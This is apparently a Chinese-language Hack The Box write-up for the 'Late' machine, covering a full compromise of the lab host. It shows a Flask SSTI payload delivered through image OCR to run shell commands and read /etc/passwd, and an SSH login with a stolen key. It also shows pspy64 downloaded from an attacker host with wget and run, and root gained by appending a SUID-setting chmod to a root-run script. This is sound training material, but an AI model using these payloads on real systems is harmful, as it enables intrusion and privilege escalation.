【HTB】Late

Late

靶机地址

https://app.hackthebox.com/machines/Late

信息收集

┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.212.208 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 10:23 CST

                                                                                                                                 
┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.227.134 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 10:24 CST
Nmap scan report for late.htb (10.129.227.134)
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.77 seconds

访问80端口

往下翻，找到一个链接，指向http://images.late.htb/

添加到/etc/hosts

echo '10.129.227.134 late.htb images.late.htb' | sudo tee -a /etc/hosts

访问images.late.htb

获得shell

看到flask，猜测有ssti漏洞。后面发现果然猜对了，但是很恶心。
搜索标题

随便截张图上传上去，

果然是这样的。

尝试把payload转成图片{{7*7}}

被执行成功。

好，接下来折磨开始了。
我试了很多payload，转成图片后识别各种报错，前前后后被折磨了快一天。
最后找到这篇文章
https://zweilosec.github.io/posts/late/
他说，在kali下用Noto Serif Regular font字体，12字号，截图才可以。

但我是kali 2024的，没搜到这个字体。
偷个懒，直接用他的图吧。

执行id命令

{{ request.application._ _ globals_ _ . _ _builtins_ _ . _ _import_ _( "os" ).popen( "id" ).read() }}

输出

<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

</p>

<p>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
svc_acc:x:1000:1000:Service Account:/home/svc_acc:/bin/bash
rtkit:x:111:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
avahi:x:113:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:114:117:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
saned:x:115:119::/var/lib/saned:/usr/sbin/nologin
colord:x:116:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:117:121:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
geoclue:x:118:123::/var/lib/geoclue:/usr/sbin/nologin
smmta:x:119:124:Mail Transfer Agent,,,:/var/lib/sendmail:/usr/sbin/nologin
smmsp:x:120:125:Mail Submission Program,,,:/var/lib/sendmail:/usr/sbin/nologin

</p>

发现了svc_acc用户
读取ssh私钥


保存到id_rsa文件中

                                                                                                                                 
┌──(root㉿kali)-[~/Desktop]
└─# chmod 600 id_rsa            
                                                                                                                                 
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i id_rsa svc_acc@10.129.227.134

提权

老规矩，sudo -l没法执行，
上pypy64监控进程，找带有root权限并且能编辑程序。

本地

靶机切换到tmp目录，不然没权限下载 文件

svc_acc@late:~$ cd /tmp
svc_acc@late:/tmp$ wget http://10.10.16.4:8888/pspy64
--2024-04-10 03:15:32--  http://10.10.16.4:8888/pspy64
Connecting to 10.10.16.4:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                           100%[=======================================================>]   2.96M  2.09MB/s    in 1.4s    

2024-04-10 03:15:34 (2.09 MB/s) - ‘pspy64’ saved [3104768/3104768]

svc_acc@late:/tmp$ chmod +x pspy64 
svc_acc@late:/tmp$ ./pspy64 

执行./pspy64
找到一个/usr/local/sbin/ssh-alert.sh

查看

┌──(root㉿kali)-[~/Desktop]
└─# ssh -i id_rsa svc_acc@10.129.227.134
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi


svc_acc@late:~$ ls -l /usr/local/sbin/ssh-alert.sh
-rwxr-xr-x 1 svc_acc svc_acc 433 Apr 10 05:53 /usr/local/sbin/ssh-alert.sh

可以看到svc_acc用户有读写执行的权限。
增加一行内容

svc_acc@late:~$ echo "chmod 4755 /bin/bash" > /usr/local/sbin/ssh-alert.sh
bash: /usr/local/sbin/ssh-alert.sh: Operation not permitted
svc_acc@late:~$ echo "chmod 4755 /bin/bash" >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi


chmod 4755 /bin/bash

使用两个>>成功，一个>就不行。为什么呢？还没

等待一会后执行bash -p，再新建一个终端进行ssh连接就行了。

在pspy64执行的结果中，可以看到/usr/local/sbin/ssh-alert.sh是会被覆盖的。多执行几次echo "chmod 4755 /bin/bash" >> /usr/local/sbin/ssh-alert.sh就行了。